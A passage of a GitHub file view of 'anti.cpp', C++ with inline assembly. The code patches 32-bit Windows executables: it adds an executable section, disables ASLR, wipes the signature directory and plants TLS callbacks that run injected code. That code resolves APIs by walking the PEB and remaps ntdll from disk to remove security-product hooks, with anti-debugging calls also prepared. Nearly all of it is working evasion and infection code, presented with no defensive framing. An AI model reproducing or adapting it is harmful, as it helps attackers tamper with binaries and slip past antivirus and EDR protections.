forked from nihilboy/anti
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathanti.cpp
3141 lines (2884 loc) · 140 KB
/
anti.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <windows.h>
#include <imagehlp.h>
#include <winternl.h>
#include <stdio.h>
#include <excpt.h>
#include <time.h>
#include <cstdlib>
#define WIN32_LEAN_AND_MEAN
#define bb(x) __asm _emit x
#pragma comment(lib, "imagehlp")
//#pragma warning(disable : 4996)
////////////////////////Alignment
DWORD align(DWORD size, DWORD align, DWORD addr) {
if (!(size % align))
return addr + size;
return addr + (size / align + 1) * align;
}
//////////////////////////AddSection Function
int AddSection(char *filepath, char *sectionName, DWORD sizeOfSection)
{
/////////////Obtain a handle to target file
HANDLE hfile = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hfile == INVALID_HANDLE_VALUE)
{
CloseHandle(hfile);
return 0;
}
///////////Obtain the size of target file
DWORD filesize = GetFileSize(hfile, NULL);
if (!filesize)
{
CloseHandle(hfile);
return -1;
}
////////////////so we know how much buffer to allocate, Simply returns ptr (no storage is allocated).A pointer to an already-allocated memory block of the proper size.
BYTE *data = new BYTE[filesize];
DWORD dwNumberOfBytesReadWrite;
////////////////Read the file to obtain PE info
ReadFile(hfile, data, filesize, &dwNumberOfBytesReadWrite, NULL);
////////////////check dos signature validity
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)data;
if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
CloseHandle(hfile);
return -1; //invalid PE
}
///////////////check 32-bit image validity
PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)(data + DosHeader->e_lfanew);
if (NtHeader->FileHeader.Machine != IMAGE_FILE_MACHINE_I386)
{
CloseHandle(hfile);
return -3;//x64 image
}
///////////////// Obtain pointer to first section
PIMAGE_SECTION_HEADER SectionHeader = IMAGE_FIRST_SECTION(NtHeader);
//////////////////Obtain number of sections
WORD SectionsNum = NtHeader->FileHeader.NumberOfSections;
/////////// go through all the sections,to see if the user-supplied section name exists
for (int i = 0; i < SectionsNum; i++) {
PIMAGE_SECTION_HEADER x = SectionHeader + i;
if (!strcmp((char *)x->Name, sectionName)) {
//PE section already exists
CloseHandle(hfile);
return -2;
}
}
///////////////fill last section with zeros
ZeroMemory(&SectionHeader[SectionsNum], sizeof(IMAGE_SECTION_HEADER));
///////////////We use 8 bytes for section name,cause it is the maximum allowed section name size
CopyMemory(&SectionHeader[SectionsNum].Name, sectionName, 8);
/////////////////Insert all the required information about our new PE section
SectionHeader[SectionsNum].Misc.VirtualSize = align(sizeOfSection, NtHeader->OptionalHeader.SectionAlignment, 0);
SectionHeader[SectionsNum].VirtualAddress = align(SectionHeader[SectionsNum - 1].Misc.VirtualSize, NtHeader->OptionalHeader.SectionAlignment, SectionHeader[SectionsNum - 1].VirtualAddress);
SectionHeader[SectionsNum].SizeOfRawData = align(sizeOfSection, NtHeader->OptionalHeader.FileAlignment, 0);
SectionHeader[SectionsNum].PointerToRawData = align(SectionHeader[SectionsNum - 1].SizeOfRawData, NtHeader->OptionalHeader.FileAlignment, SectionHeader[SectionsNum - 1].PointerToRawData);
SectionHeader[SectionsNum].Characteristics = 0xE00000E0; // 0xE00000E0 = IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ
SectionHeader[SectionsNum].PointerToRelocations = 0;
SectionHeader[SectionsNum].PointerToLinenumbers = 0;
SectionHeader[SectionsNum].NumberOfRelocations = 0;
SectionHeader[SectionsNum].NumberOfLinenumbers = 0;
///////Set a file pointer where last section ends
SetFilePointer(hfile, SectionHeader[SectionsNum].PointerToRawData + SectionHeader[SectionsNum].SizeOfRawData, NULL, FILE_BEGIN);
///////set new end of file ,on the last section + it's own size
SetEndOfFile(hfile);
////////// change the size of the image
NtHeader->OptionalHeader.SizeOfImage = SectionHeader[SectionsNum].VirtualAddress + SectionHeader[SectionsNum].Misc.VirtualSize;
///////////// change the NumberOfSectons
NtHeader->FileHeader.NumberOfSections += 1;
////////Set a file pointer to the beginning of the file
SetFilePointer(hfile, 0, NULL, FILE_BEGIN);
////////so we can flush all the modifications to the file
WriteFile(hfile, data, filesize, &dwNumberOfBytesReadWrite, NULL);
//////////Closinf the initial handle hfile
CloseHandle(hfile);
return 1;//Section added succesfully
}
////////////////////returns random value within range
int RandomInRange(int lower, int upper,
int count)
{
int i;
for (i = 0; i < count; i++) {
int num = (rand() %
(upper - lower + 1)) + lower;
return num;
}
}
/////////Adds the actual Code
bool AddCode(char *filepath, int pid)
{
HANDLE hfile = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hfile == INVALID_HANDLE_VALUE)
{
CloseHandle(hfile);
return false;
}
DWORD filesize = GetFileSize(hfile, NULL);
BYTE *data = new BYTE[filesize];
DWORD dwNumberOfBytesReadWrite;
ReadFile(hfile, data, filesize, &dwNumberOfBytesReadWrite, NULL);
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)data;
PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)(data + DosHeader->e_lfanew);
////////disable ASLR
NtHeader->OptionalHeader.DllCharacteristics &= ~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;
//////obtain the last section address
PIMAGE_SECTION_HEADER FirstSection = IMAGE_FIRST_SECTION(NtHeader);
PIMAGE_SECTION_HEADER LastSection = FirstSection + (NtHeader->FileHeader.NumberOfSections - 1);
SetFilePointer(hfile, 0, 0, FILE_BEGIN);
////////Save the oldEntryPoint
DWORD OEP = NtHeader->OptionalHeader.AddressOfEntryPoint + NtHeader->OptionalHeader.ImageBase;
//Generate random AddressOfEntryPoint within text's section range
DWORD newAddressEntryPoint;
LARGE_INTEGER PerformanceCount;
QueryPerformanceCounter(&PerformanceCount);
srand(PerformanceCount.QuadPart);
newAddressEntryPoint = RandomInRange(NtHeader->OptionalHeader.AddressOfEntryPoint + 1, NtHeader->OptionalHeader.AddressOfEntryPoint + 0x1000, 1);
NtHeader->OptionalHeader.AddressOfEntryPoint = newAddressEntryPoint;
// this is an intended malformation Generally when AddressOfEntryPoint equ 0x00000000
//execution starts in the DOS header but we have TLS Callbacks in place
//alternatively set AddressOfEntryPoint = last->VirtualAddress; i dont think really matters!!!
///////////////////Zeroout security directory
NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0;
NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0;
///////////////////// strip reloc
//NtHeader->FileHeader.Characteristics = 0x030F;
//NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0;
//NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0;
////////////////We Update TLS Directory, directory number 9
NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size = sizeof(IMAGE_TLS_DIRECTORY);
NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress = LastSection->VirtualAddress + 4; //it starts 4 bytes after the start of last section
////////////Write to file so far
SetFilePointer(hfile, 0, 0, FILE_BEGIN);
WriteFile(hfile, data, filesize, &dwNumberOfBytesReadWrite, 0);
////////////Set a pointer to last sections start and write four null bytes
SetFilePointer(hfile, LastSection->PointerToRawData, NULL, FILE_BEGIN);
char index[4] = { 0x00, 0x00, 0x00, 0x00 };
WriteFile(hfile, index, sizeof(index), &dwNumberOfBytesReadWrite, 0);
//////////////Set file pointer after the four null bytes
SetFilePointer(hfile, LastSection->PointerToRawData + 4, NULL, FILE_BEGIN);
//////////// where we create the TLS_DIRECTORY
IMAGE_TLS_DIRECTORY* pTLS = new IMAGE_TLS_DIRECTORY();
/////////////the AddressOfIndex inside the tls directory points exactly after the directory which is 28 bytes, 4*0x00 + 24 for the tls directory
pTLS->AddressOfIndex = NtHeader->OptionalHeader.ImageBase + LastSection->VirtualAddress + 28;
////////the AddressOfCallBacks points to the 1st callback it is located at: 0x00*4 + 24(tlsdirectory) + 4(addressofindex) = 32
pTLS->AddressOfCallBacks = NtHeader->OptionalHeader.ImageBase + LastSection->VirtualAddress + 32;
WriteFile(hfile, (PVOID)pTLS, sizeof(IMAGE_TLS_DIRECTORY), &dwNumberOfBytesReadWrite, 0);
////////
SetFilePointer(hfile, LastSection->PointerToRawData + 28, NULL, FILE_BEGIN);
DWORD dwOffsetOfIndexDWORD = NtHeader->OptionalHeader.ImageBase + LastSection->VirtualAddress;
WriteFile(hfile, &dwOffsetOfIndexDWORD, sizeof(DWORD), &dwNumberOfBytesReadWrite, 0);
////////////
SetFilePointer(hfile, LastSection->PointerToRawData + 32, NULL, FILE_BEGIN);
DWORD dwOffsetOfCodeDWORD = NtHeader->OptionalHeader.ImageBase + LastSection->VirtualAddress + 16 + sizeof(IMAGE_TLS_DIRECTORY);
WriteFile(hfile, &dwOffsetOfCodeDWORD, sizeof(DWORD), &dwNumberOfBytesReadWrite, 0);
///////////////make room for another callback + 4 null bytes to end it
SetFilePointer(hfile, LastSection->PointerToRawData + 36, NULL, FILE_BEGIN);
char index2[12] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
WriteFile(hfile, index, sizeof(index), &dwNumberOfBytesReadWrite, 0);
//////////////////////////////////////////////////////////////////
DWORD start(0), end(0);
__asm
{
mov eax, loc1
mov[start], eax
jmp over
loc1 :
}
////////////////////////////////////Add TLS Dynamically
__asm {
call next
next :
pop eax //get current instruction address is start + 5
mov ebx, eax //store address
sub eax, 0x2d // sub (24 + 5)h=29h to go to section start
//mov SectionStart, eax
add eax, 0x24 //2nd callback address
add ebx, 0xf
//add ebx, 0x15 //ebx has the address where the next snippet of code starts
//add ebx, 0x11
mov[eax], ebx
retn
}
///////////////////////////////////////////////////////////////Unhooking code manual loading and mapping ntdll from disk and compare with the one already loaded
///////////////////////todo : for any dll
DWORD Create_FileW;
HANDLE hFile;
DWORD Create_File_MappingW;
HANDLE hMap;
DWORD Map_View_Of_File;
PCHAR pFile;
DWORD Virtual_Alloc;
PCHAR pLibraryAddr;
DWORD mem_cpy;
ULONG_PTR pDllBase;
ULONG_PTR pInitialImageBase;
DWORD mem_cmp;
DWORD Virtual_Protect;
DWORD ddOldProtect;
DWORD Section_Virtual_Size;
DWORD pDllSectionVirtualAddress;
DWORD pDllLibraryVirtualAddress;
DWORD Close_Handle_function;
DWORD nt_set_information_thread;
DWORD user32_base;
DWORD create_desktop_A;
DWORD switch_desktop;
DWORD load_library_A;
DWORD get_proc_address;
DWORD getversion;
DWORD nt_query_information_process;
DWORD rtl_query_create_debug_buffer;
DWORD rtl_query_process_debug_information;
DWORD create_file_A;
DWORD Nt_GetTickCount;
DWORD Nt_TerminateProcess;
DWORD FirstLink;
DWORD NextLink;
__asm {
pushad
push ebp
mov ebp, esp
sub esp, 0x400
///////////Find CreateFileW todo: use NtCreateFile exported by ntdll instead
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, [eax]; eax = next link = kernel32 LDR_MODULE entry
mov eax, [eax + 0x10]; 16 eax = kernel32 LDR_MODULE DllBase
mov ebx, eax; ebx = kernel32 LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
Create_FileW_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +the base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
cmp dword ptr[esi], 0x61657243; comparison of name, backwards order of bytes, Crea = 43 72 65 61
je Create_FileW_loop_2
jmp Create_FileW_loop_1
Create_FileW_loop_2 :
cmp dword ptr[esi + 0x7], 0x57656c69; ileW = 69 6c 65 57
je stopped_Create_FileW_loop;
jmp Create_FileW_loop_1
stopped_Create_FileW_loop:
mov edx, [edi + 0x24]; edx = Export table VirtualAddress + 0x24 = AddressOfNameOrdinals relative offset
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNameOrdinals Virtual Memory Address
mov cx, [edx + 2 * ecx]; ecx = AddressOfNameOrdinals + 2*NumberOfNames to walk the function ordinals
mov edx, [edi + 0x1c]; edx = Export table VirtualAddress + 0x1c = AddressOfFunctions relative offset
add edx, ebx; Table address edx = +the base address of dll stored in ebx to obtain AddressOfFunctions Virtual Memory Address
mov eax, [edx + 4 * ecx]; eax = AddressOfFunctions Virtual Memory Address + 4*ecx
add eax, ebx; eax = +the base address of dll stored in ebx to obtain Function Virtual Memory Address of CreateFileW
mov Create_FileW, eax
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax] ; TEMPORARY begin with ntdll till its fixed for all loaded modules
mov FirstLink, eax; here first link is ntdll the loop will be updated
mov NextLink, eax
unhook_loop :
mov eax, [eax + 0x20]; edx = FullDllName
//call CreateFileW
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ
push GENERIC_READ
push eax
call Create_FileW; call = CreateFileW(FullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)
mov hFile, eax; obtain Handle hFile to file ntdll.dll from disk
///////////Find CreateFileMappingW
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, [eax]; eax = next link = kernel32 LDR_MODULE entry
mov eax, [eax + 0x10]; 16 eax = kernel32 LDR_MODULE DllBase
mov ebx, eax; ebx = kernel32 LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
Create_File_MappingW_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +the base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
cmp dword ptr[esi], 0x61657243; comparison of name, backwards order of bytes, Crea = 43 72 65 61
je Create_File_MappingW_loop_2
jmp Create_File_MappingW_loop_1
Create_File_MappingW_loop_2 :
cmp dword ptr[esi + 0xe], 0x57676e69; ingW = 69 6e 67 57
je stopped_Create_File_MappingW_loop;
jmp Create_File_MappingW_loop_1
stopped_Create_File_MappingW_loop:
mov edx, [edi + 0x24]; edx = Export table VirtualAddress + 0x24 = AddressOfNameOrdinals relative offset
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNameOrdinals Virtual Memory Address
mov cx, [edx + 2 * ecx]; ecx = AddressOfNameOrdinals + 2*NumberOfNames to walk the function ordinals
mov edx, [edi + 0x1c]; edx = Export table VirtualAddress + 0x1c = AddressOfFunctions relative offset
add edx, ebx; Table address edx = +the base address of dll stored in ebx to obtain AddressOfFunctions Virtual Memory Address
mov eax, [edx + 4 * ecx]; eax = AddressOfFunctions Virtual Memory Address + 4*ecx
add eax, ebx; eax = +the base address of dll stored in ebx to obtain Function Virtual Memory Address of CreateFileMappingW
mov Create_File_MappingW, eax
/////call CreateFileMappingW
push NULL
push 0
push 0
push PAGE_READONLY
push NULL
push hFile
call Create_File_MappingW; call = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0 ,0, NULL)
mov hMap, eax; obtain handle to mapping hMap
///////////Find MapViewOfFile todo:use NtMapViewOfSection exported by ntdll.dll instead
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, [eax]; eax = next link = kernel32 LDR_MODULE entry
mov eax, [eax + 0x10]; 16 eax = kernel32 LDR_MODULE DllBase
mov ebx, eax; ebx = kernel32 LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
Map_View_Of_File_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +th e base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
cmp dword ptr[esi], 0x5670614d; comparison of name, backwards order of bytes, MapV = 4d 61 70 56
je Map_View_Of_File_loop_2
jmp Map_View_Of_File_loop_1
Map_View_Of_File_loop_2 :
cmp dword ptr[esi + 0xa], 0x00656c69; ile = 69 6c 65 00
je stopped_Map_View_Of_File_loop;
jmp Map_View_Of_File_loop_1
stopped_Map_View_Of_File_loop:
mov edx, [edi + 0x24]; edx = Export table VirtualAddress + 0x24 = AddressOfNameOrdinals relative offset
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNameOrdinals Virtual Memory Address
mov cx, [edx + 2 * ecx]; ecx = AddressOfNameOrdinals + 2*NumberOfNames to walk the function ordinals
mov edx, [edi + 0x1c]; edx = Export table VirtualAddress + 0x1c = AddressOfFunctions relative offset
add edx, ebx; Table address edx = +the base address of dll stored in ebx to obtain AddressOfFunctions Virtual Memory Address
mov eax, [edx + 4 * ecx]; eax = AddressOfFunctions Virtual Memory Address + 4*ecx
add eax, ebx; eax = +the base address of dll stored in ebx to obtain Function Virtual Memory Address of MapViewOfFile
mov Map_View_Of_File, eax
//////////call MapViewOfFile
push 0
push 0
push 0
push FILE_MAP_READ
push hMap
call Map_View_Of_File; call = MapViewOfFIle(hMap, FILE_MAP_READ, 0 , 0, 0)
mov pFile, eax; obtain pointer to start of mapped file (ntdll.dll) pFile
///////////Find VirtualAlloc todo: use NtAllocateVirtualMemory exported by ntdll.dll instead
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, [eax]; eax = next link = kernel32 LDR_MODULE entry
mov eax, [eax + 0x10]; 16 eax = kernel32 LDR_MODULE DllBase
mov ebx, eax; ebx = kernel32 LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
Virtual_Alloc_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +the base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
cmp dword ptr[esi], 0x74726956; comparison of name, backwards order of bytes, Virt = 56 69 72 74
je Virtual_Alloc_loop_2
jmp Virtual_Alloc_loop_1
Virtual_Alloc_loop_2 :
cmp dword ptr[esi + 0x9], 0x00636f6c; loc = 6c 6f 63 00
je stopped_Virtual_Alloc_loop;
jmp Virtual_Alloc_loop_1
stopped_Virtual_Alloc_loop:
mov edx, [edi + 0x24]; edx = Export table VirtualAddress + 0x24 = AddressOfNameOrdinals relative offset
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNameOrdinals Virtual Memory Address
mov cx, [edx + 2 * ecx]; ecx = AddressOfNameOrdinals + 2*NumberOfNames to walk the function ordinals
mov edx, [edi + 0x1c]; edx = Export table VirtualAddress + 0x1c = AddressOfFunctions relative offset
add edx, ebx; Table address edx = +the base address of dll stored in ebx to obtain AddressOfFunctions Virtual Memory Address
mov eax, [edx + 4 * ecx]; eax = AddressOfFunctions Virtual Memory Address + 4*ecx
add eax, ebx; eax = +the base address of dll stored in ebx to obtain Function Virtual Memory Address of VirtualAlloc
mov Virtual_Alloc, eax
mov eax, pFile; eax = pDosHeader of ntdll
mov ebx, [eax + 0x3c]; eax = pDosHeader + e_lfanew(0x1c) = pNtHeader
add eax, ebx
mov eax, [eax + 0x50]; ebx = pNtHeader->OptionalHeader.SizeOfImage
///////call VirualAlloc
push PAGE_READWRITE
push MEM_COMMIT | MEM_RESERVE
push eax
push NULL
call Virtual_Alloc
mov pLibraryAddr, eax; pLibraryAddr = location where the library will be copied
///////////Find memcpy
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, [eax + 0x10]; 16 eax = ntdll LDR_MODULE DllBase
mov ebx, eax; ebx = ntdll LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
memcpy_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +the base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
cmp dword ptr[esi], 0x636d656d; comparison of name, backwards order of bytes, memc = 6d 65 6d 63
je memcpy_loop_2
jmp memcpy_loop_1
memcpy_loop_2 :
cmp dword ptr[esi + 0x3], 0x00797063; opy = 63 70 79 00
je stopped_memcpy_loop;
jmp memcpy_loop_1
stopped_memcpy_loop:
mov edx, [edi + 0x24]; edx = Export table VirtualAddress + 0x24 = AddressOfNameOrdinals relative offset
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNameOrdinals Virtual Memory Address
mov cx, [edx + 2 * ecx]; ecx = AddressOfNameOrdinals + 2*NumberOfNames to walk the function ordinals
mov edx, [edi + 0x1c]; edx = Export table VirtualAddress + 0x1c = AddressOfFunctions relative offset
add edx, ebx; Table address edx = +the base address of dll stored in ebx to obtain AddressOfFunctions Virtual Memory Address
mov eax, [edx + 4 * ecx]; eax = AddressOfFunctions Virtual Memory Address + 4*ecx
add eax, ebx; eax = +the base address of dll stored in ebx to obtain Function Virtual Memory Address of memcpy
mov mem_cpy, eax
/////////memcpy header
mov eax, pFile; eax = pDosHeader of ntdll
mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
mov eax, [eax + 0x54]; eax = pNtHeader->OptionalHeader.Headers
push eax
push pFile
push pLibraryAddr
call mem_cpy
/////////memcpy sections
mov eax, pFile; eax = pDosHeader of ntdll
